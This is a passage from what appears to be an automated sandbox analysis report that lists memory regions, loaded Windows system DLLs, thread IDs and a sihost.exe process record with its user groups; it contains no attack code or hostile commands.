"\\Windows\\System32\\FntCache.dll" (normalized: "c:\\windows\\system32\\fntcache.dll") Region: id = 6801 start_va = 0x7ffe57520000 end_va = 0x7ffe57552fff monitored = 0 entry_point = 0x7ffe5752d5a0 region_type = mapped_file name = "biwinrt.dll" filename = "\\Windows\\System32\\biwinrt.dll" (normalized: "c:\\windows\\system32\\biwinrt.dll") Region: id = 6802 start_va = 0x7ffe57560000 end_va = 0x7ffe575f1fff monitored = 0 entry_point = 0x7ffe575aa780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 6803 start_va = 0x7ffe57600000 end_va = 0x7ffe57678fff monitored = 0 entry_point = 0x7ffe57617800 region_type = mapped_file name = "geolocation.dll" filename = "\\Windows\\System32\\Geolocation.dll" (normalized: "c:\\windows\\system32\\geolocation.dll") Region: id = 6804 start_va = 0x7ffe57740000 end_va = 0x7ffe57759fff monitored = 0 entry_point = 0x7ffe5774b670 region_type = mapped_file name = "tzautoupdate.dll" filename = "\\Windows\\System32\\tzautoupdate.dll" (normalized: "c:\\windows\\system32\\tzautoupdate.dll") Region: id = 6805 start_va = 0x7ffe59970000 end_va = 0x7ffe599a5fff monitored = 0 entry_point = 0x7ffe59980070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 6806 start_va = 0x7ffe5ba10000 end_va = 0x7ffe5bb0ffff monitored = 0 entry_point = 0x7ffe5ba50f80 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 6807 start_va = 0x7ffe5c090000 end_va = 0x7ffe5c183fff monitored = 0 entry_point = 0x7ffe5c09a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 6808 start_va = 0x7ffe5c6b0000 end_va = 0x7ffe5c6cefff monitored = 0 entry_point = 0x7ffe5c6b5d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 6809 start_va = 0x7ffe5cd80000 end_va = 0x7ffe5cda8fff monitored = 0 entry_point = 0x7ffe5cd94530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 6810 start_va = 0x7ffe5cf00000 end_va = 0x7ffe5cf0efff monitored = 0 entry_point = 0x7ffe5cf03210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 6811 start_va = 0x7ffe5cf10000 end_va = 0x7ffe5cf23fff monitored = 0 entry_point = 0x7ffe5cf152e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 6812 start_va = 0x7ffe5d730000 end_va = 0x7ffe5d917fff monitored = 0 entry_point = 0x7ffe5d75ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 6813 start_va = 0x7ffe5db50000 end_va = 0x7ffe5dbb9fff monitored = 0 entry_point = 0x7ffe5db86d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 6814 start_va = 0x7ffe5dbc0000 end_va = 0x7ffe5dc74fff monitored = 0 entry_point = 0x7ffe5dc022e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 6815 start_va = 0x7ffe5dce0000 end_va = 0x7ffe5dce7fff monitored = 0 entry_point = 0x7ffe5dce1ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 6816 start_va = 0x7ffe5dcf0000 end_va = 0x7ffe5ddb0fff monitored = 0 entry_point = 0x7ffe5dd10da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 6817 start_va = 0x7ffe5ddc0000 end_va = 0x7ffe5de5cfff monitored = 0 entry_point = 0x7ffe5ddc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 6818 start_va = 0x7ffe5de60000 end_va = 0x7ffe5df7bfff monitored = 0 entry_point = 0x7ffe5dea02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 6819 start_va = 0x7ffe5f650000 end_va = 0x7ffe5f6f6fff monitored = 0 entry_point = 0x7ffe5f6658d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 6820 start_va = 0x7ffe5f760000 end_va = 0x7ffe5f806fff monitored = 0 entry_point = 0x7ffe5f76b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 6821 start_va = 0x7ffe5f810000 end_va = 0x7ffe5fa8cfff monitored = 0 entry_point = 0x7ffe5f8e4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 6822 start_va = 0x7ffe60240000 end_va = 0x7ffe602ecfff monitored = 0 entry_point = 0x7ffe602581a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 6823 start_va = 0x7ffe602f0000 end_va = 0x7ffe60445fff monitored = 0 entry_point = 0x7ffe602fa8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 6824 start_va = 0x7ffe604b0000 end_va = 0x7ffe60635fff monitored = 0 entry_point = 0x7ffe604fffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 6825 start_va = 0x7ffe60870000 end_va = 0x7ffe608cafff monitored = 0 entry_point = 0x7ffe608838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 6826 start_va = 0x7ffe608d0000 end_va = 0x7ffe60a90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6831 start_va = 0x42a2980000 end_va = 0x42a2a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000042a2980000" filename = "" Region: id = 6899 start_va = 0x42a2a80000 end_va = 0x42a2b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000042a2a80000" filename = "" Region: id = 6900 start_va = 0x7ffe55210000 end_va = 0x7ffe5529afff monitored = 0 entry_point = 0x7ffe5522d2a0 region_type = mapped_file name = "netprofmsvc.dll" filename = "\\Windows\\System32\\netprofmsvc.dll" (normalized: "c:\\windows\\system32\\netprofmsvc.dll") Region: id = 6901 start_va = 0x7ffe57c40000 end_va = 0x7ffe57c57fff monitored = 0 entry_point = 0x7ffe57c45910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 6913 start_va = 0x42a2b80000 end_va = 0x42a2c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000042a2b80000" filename = "" Region: id = 6931 start_va = 0x16908dc0000 end_va = 0x16908dc1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netprofmsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\netprofmsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netprofmsvc.dll.mui") Region: id = 6932 start_va = 0x42a2c80000 end_va = 0x42a2d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000042a2c80000" filename = "" Region: id = 6933 start_va = 0x42a2d80000 end_va = 0x42a2e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000042a2d80000" filename = "" Region: id = 6934 start_va = 0x42a2e80000 end_va = 0x42a2f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000042a2e80000" filename = "" Region: id = 6935 start_va = 0x42a2f80000 end_va = 0x42a307ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000042a2f80000" filename = "" Region: id = 6936 start_va = 0x7ffe55000000 end_va = 0x7ffe5500dfff monitored = 0 entry_point = 0x7ffe55001460 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 6937 start_va = 0x7ffe606b0000 end_va = 0x7ffe607f2fff monitored = 0 entry_point = 0x7ffe606d8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6941 start_va = 0x16909430000 end_va = 0x1690945dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000016909430000" filename = "" Region: id = 6996 start_va = 0x16909460000 end_va = 0x1690953ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 6997 start_va = 0x7ffe532e0000 end_va = 0x7ffe532f3fff monitored = 0 entry_point = 0x7ffe532e1a50 region_type = mapped_file name = "wlanradiomanager.dll" filename = "\\Windows\\System32\\WlanRadioManager.dll" (normalized: "c:\\windows\\system32\\wlanradiomanager.dll") Region: id = 6998 start_va = 0x7ffe55fb0000 end_va = 0x7ffe55fe7fff monitored = 0 entry_point = 0x7ffe55fc8cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 6999 start_va = 0x7ffe56f00000 end_va = 0x7ffe56f60fff monitored = 0 entry_point = 0x7ffe56f04b50 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 7000 start_va = 0x7ffe532c0000 end_va = 0x7ffe532d8fff monitored = 0 entry_point = 0x7ffe532c2180 region_type = mapped_file name = "bthradiomedia.dll" filename = "\\Windows\\System32\\BthRadioMedia.dll" (normalized: "c:\\windows\\system32\\bthradiomedia.dll") Region: id = 7001 start_va = 0x7ffe5dc80000 end_va = 0x7ffe5dcc2fff monitored = 0 entry_point = 0x7ffe5dc94b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 7002 start_va = 0x7ffe5b930000 end_va = 0x7ffe5b956fff monitored = 0 entry_point = 0x7ffe5b937940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 7003 start_va = 0x7ffe532a0000 end_va = 0x7ffe532bdfff monitored = 0 entry_point = 0x7ffe532a1690 region_type = mapped_file name = "bluetoothapis.dll" filename = "\\Windows\\System32\\BluetoothApis.dll" (normalized: "c:\\windows\\system32\\bluetoothapis.dll") Region: id = 7004 start_va = 0x7ffe558b0000 end_va = 0x7ffe558bafff monitored = 0 entry_point = 0x7ffe558b1d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 7212 start_va = 0x1690af00000 end_va = 0x1690b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001690af00000" filename = "" Region: id = 7213 start_va = 0x1690af00000 end_va = 0x1690affffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001690af00000" filename = "" Region: id = 7214 start_va = 0x7ffe60640000 end_va = 0x7ffe606aafff monitored = 0 entry_point = 0x7ffe606590c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 7230 start_va = 0x7ffe5c820000 end_va = 0x7ffe5c87bfff monitored = 0 entry_point = 0x7ffe5c836f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 7275 start_va = 0x7ffe5bef0000 end_va = 0x7ffe5bf13fff monitored = 0 entry_point = 0x7ffe5bef3260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 7309 start_va = 0x42a3080000 end_va = 0x42a317ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000042a3080000" filename = "" Region: id = 7310 start_va = 0x7ffe56e30000 end_va = 0x7ffe56ef7fff monitored = 0 entry_point = 0x7ffe56e713f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 7375 start_va = 0x7ffe5cf30000 end_va = 0x7ffe5cf7afff monitored = 0 entry_point = 0x7ffe5cf335f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 7376 start_va = 0x42a3180000 end_va = 0x42a327ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000042a3180000" filename = "" Region: id = 7384 start_va = 0x7ffe558e0000 end_va = 0x7ffe558f5fff monitored = 0 entry_point = 0x7ffe558e19f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 7385 start_va = 0x7ffe558c0000 end_va = 0x7ffe558d9fff monitored = 0 entry_point = 0x7ffe558c2430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 7386 start_va = 0x7ffe5b960000 end_va = 0x7ffe5ba09fff monitored = 0 entry_point = 0x7ffe5b987910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 7387 start_va = 0x7ffe52750000 end_va = 0x7ffe52759fff monitored = 0 entry_point = 0x7ffe527514c0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Thread: id = 431 os_tid = 0x430 Thread: id = 432 os_tid = 0x420 Thread: id = 433 os_tid = 0x174 Thread: id = 434 os_tid = 0x17c Thread: id = 435 os_tid = 0x188 Thread: id = 436 os_tid = 0x154 Thread: id = 437 os_tid = 0x160 Thread: id = 438 os_tid = 0x15c Thread: id = 439 os_tid = 0x3b8 Thread: id = 440 os_tid = 0x3b4 Thread: id = 441 os_tid = 0x528 Thread: id = 445 os_tid = 0x578 Thread: id = 449 os_tid = 0x594 Thread: id = 456 os_tid = 0x5b0 Thread: id = 457 os_tid = 0x5b4 Thread: id = 458 os_tid = 0x5b8 Thread: id = 459 os_tid = 0x5bc Thread: id = 509 os_tid = 0x708 Thread: id = 525 os_tid = 0x768 Process: id = "85" image_name = "sihost.exe" filename = "c:\\windows\\system32\\sihost.exe" page_root = "0x33b91000" os_pid = "0x530" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "82" os_parent_pid = "0x360" cmd_line = "sihost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f469" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 6832 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6833 start_va = 0x3758c70000 end_va = 0x3758ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003758c70000" filename = "" Region: id = 6834 start_va = 0x3758e00000 end_va = 0x3758ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003758e00000" filename = "" Region: id = 6835 start_va = 0x2138af20000 end_va = 0x2138af3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002138af20000" filename = "" Region: id = 6836 start_va = 0x2138af40000 end_va = 0x2138af54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002138af40000" filename = "" Region: id = 6837 start_va = 0x2138af60000 end_va = 0x2138af63fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002138af60000" filename = "" Region: id = 6838 start_va = 0x2138af70000 end_va = 0x2138af71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002138af70000" filename = "" Region: id = 6839 start_va = 0x7df5ff830000 end_va = 0x7ff5ff82ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff830000" filename = "" Region: id = 6840 start_va = 0x7ff7905d0000 end_va = 0x7ff7905f2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7905d0000" filename = "" Region: id = 6841 start_va = 0x7ff790820000 end_va = 0x7ff790835fff monitored = 0 entry_point = 0x7ff790825190 region_type = mapped_file name = "sihost.exe" filename = "\\Windows\\System32\\sihost.exe" (normalized: "c:\\windows\\system32\\sihost.exe") Region: id = 6842 start_va = 0x7ffe608d0000 end_va = 0x7ffe60a90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6843 start_va = 0x2138af80000 end_va = 0x2138b0bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002138af80000" filename = "" Region: id = 6844 start_va = 0x7ffe60240000 end_va = 0x7ffe602ecfff monitored = 0 entry_point = 0x7ffe602581a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 6845 start_va = 0x7ffe5d730000 end_va = 0x7ffe5d917fff monitored = 0 entry_point = 0x7ffe5d75ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 6846 start_va = 0x2138af20000 end_va = 0x2138af2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002138af20000" filename = "" Region: id = 6847 start_va = 0x7ff7904d0000 end_va = 0x7ff7905cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7904d0000" filename = "" Region: id = 6848 start_va = 0x2138b0c0000 end_va = 0x2138b17dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6849 start_va = 0x7ffe5ddc0000 end_va = 0x7ffe5de5cfff monitored = 0 entry_point = 0x7ffe5ddc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 6850 start_va = 0x3758cf0000 end_va = 0x3758d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003758cf0000" filename = "" Region: id = 6851 start_va = 0x7ffe5f810000 end_va = 0x7ffe5fa8cfff monitored = 0 entry_point = 0x7ffe5f8e4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 6852 start_va = 0x7ffe5de60000 end_va = 0x7ffe5df7bfff monitored = 0 entry_point = 0x7ffe5dea02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 6853 start_va = 0x7ffe5db50000 end_va = 0x7ffe5dbb9fff monitored = 0 entry_point = 0x7ffe5db86d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 6854 start_va = 0x7ffe60870000 end_va = 0x7ffe608cafff monitored = 0 entry_point = 0x7ffe608838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 6855 start_va = 0x7ffe5f650000 end_va = 0x7ffe5f6f6fff monitored = 0 entry_point = 0x7ffe5f6658d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 6856 start_va = 0x2138af30000 end_va = 0x2138af36fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002138af30000" filename = "" Region: id = 6857 start_va = 0x7ffe5c440000 end_va = 0x7ffe5c470fff monitored = 0 entry_point = 0x7ffe5c447d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 6858 start_va = 0x7ffe5a8b0000 end_va = 0x7ffe5a96dfff monitored = 0 entry_point = 0x7ffe5a8f2d40 region_type = mapped_file name = "coremessaging.dll" filename = "\\Windows\\System32\\CoreMessaging.dll" (normalized: "c:\\windows\\system32\\coremessaging.dll") Region: id = 6859 start_va = 0x3758d70000 end_va = 0x3758deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003758d70000" filename = "" Region: id = 6860 start_va = 0x7ffe55390000 end_va = 0x7ffe55617fff monitored = 0 entry_point = 0x7ffe553ef670 region_type = mapped_file name = "coreuicomponents.dll" filename = "\\Windows\\System32\\CoreUIComponents.dll" (normalized: "c:\\windows\\system32\\coreuicomponents.dll") Region: id = 6861 start_va = 0x7ffe5cf00000 end_va = 0x7ffe5cf0efff monitored = 0 entry_point = 0x7ffe5cf03210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 6862 start_va = 0x7ffe602f0000 end_va = 0x7ffe60445fff monitored = 0 entry_point = 0x7ffe602fa8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 6863 start_va = 0x7ffe604b0000 end_va = 0x7ffe60635fff monitored = 0 entry_point = 0x7ffe604fffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 6864 start_va = 0x7ffe5dbc0000 end_va = 0x7ffe5dc74fff monitored = 0 entry_point = 0x7ffe5dc022e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 6865 start_va = 0x7ffe58300000 end_va = 0x7ffe58435fff monitored = 0 entry_point = 0x7ffe5832f350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 6866 start_va = 0x2138b180000 end_va = 0x2138b1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002138b180000" filename = "" Region: id = 6867 start_va = 0x2138af80000 end_va = 0x2138af86fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002138af80000" filename = "" Region: id = 6868 start_va = 0x2138afc0000 end_va = 0x2138b0bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002138afc0000" filename = "" Region: id = 6869 start_va = 0x2138b180000 end_va = 0x2138b1b8fff monitored = 0 entry_point = 0x2138b1812f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 6870 start_va = 0x2138b1f0000 end_va = 0x2138b1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002138b1f0000" filename = "" Region: id = 6871 start_va = 0x2138b200000 end_va = 0x2138b387fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002138b200000" filename = "" Region: id = 6872 start_va = 0x7ffe5e0b0000 end_va = 0x7ffe5e0eafff monitored = 0 entry_point = 0x7ffe5e0b12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 6873 start_va = 0x2138b390000 end_va = 0x2138b510fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002138b390000" filename = "" Region: id = 6874 start_va = 0x2138b520000 end_va = 0x2138c91ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002138b520000" filename = "" Region: id = 6875 start_va = 0x2138af90000 end_va = 0x2138af90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002138af90000" filename = "" Region: id = 6876 start_va = 0x2138afa0000 end_va = 0x2138afa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002138afa0000" filename = "" Region: id = 6877 start_va = 0x2138c920000 end_va = 0x2138c9fcfff monitored = 0 entry_point = 0x2138c97e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6878 start_va = 0x2138afb0000 end_va = 0x2138afb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002138afb0000" filename = "" Region: id = 6879 start_va = 0x7ffe5f760000 end_va = 0x7ffe5f806fff monitored = 0 entry_point = 0x7ffe5f76b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 6880 start_va = 0x2138b180000 end_va = 0x2138b180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002138b180000" filename = "" Region: id = 6881 start_va = 0x7ffe552c0000 end_va = 0x7ffe552ddfff monitored = 0 entry_point = 0x7ffe552c5340 region_type = mapped_file name = "desktopshellext.dll" filename = "\\Windows\\System32\\DesktopShellExt.dll" (normalized: "c:\\windows\\system32\\desktopshellext.dll") Region: id = 6882 start_va = 0x7ffe552a0000 end_va = 0x7ffe552b1fff monitored = 0 entry_point = 0x7ffe552a5110 region_type = mapped_file name = "windows.shell.servicehostbuilder.dll" filename = "\\Windows\\System32\\Windows.Shell.ServiceHostBuilder.dll" (normalized: "c:\\windows\\system32\\windows.shell.servicehostbuilder.dll") Region: id = 6883 start_va = 0x2138c920000 end_va = 0x2138ca1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002138c920000" filename = "" Region: id = 6884 start_va = 0x2138ca20000 end_va = 0x2138cafcfff monitored = 0 entry_point = 0x2138ca7e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6885 start_va = 0x3759000000 end_va = 0x375907ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003759000000" filename = "" Region: id = 6886 start_va = 0x3759080000 end_va = 0x37590fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003759080000" filename = "" Region: id = 6887 start_va = 0x3759100000 end_va = 0x375917ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003759100000" filename = "" Region: id = 6902 start_va = 0x7ffe5af90000 end_va = 0x7ffe5b422fff monitored = 0 entry_point = 0x7ffe5af9f760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 6903 start_va = 0x7ffe55130000 end_va = 0x7ffe55209fff monitored = 0 entry_point = 0x7ffe551803b0 region_type = mapped_file name = "modernexecserver.dll" filename = "\\Windows\\System32\\modernexecserver.dll" (normalized: "c:\\windows\\system32\\modernexecserver.dll") Region: id = 6904 start_va = 0x7ffe5dcf0000 end_va = 0x7ffe5ddb0fff monitored = 0 entry_point = 0x7ffe5dd10da0 region_type = mapped_file name 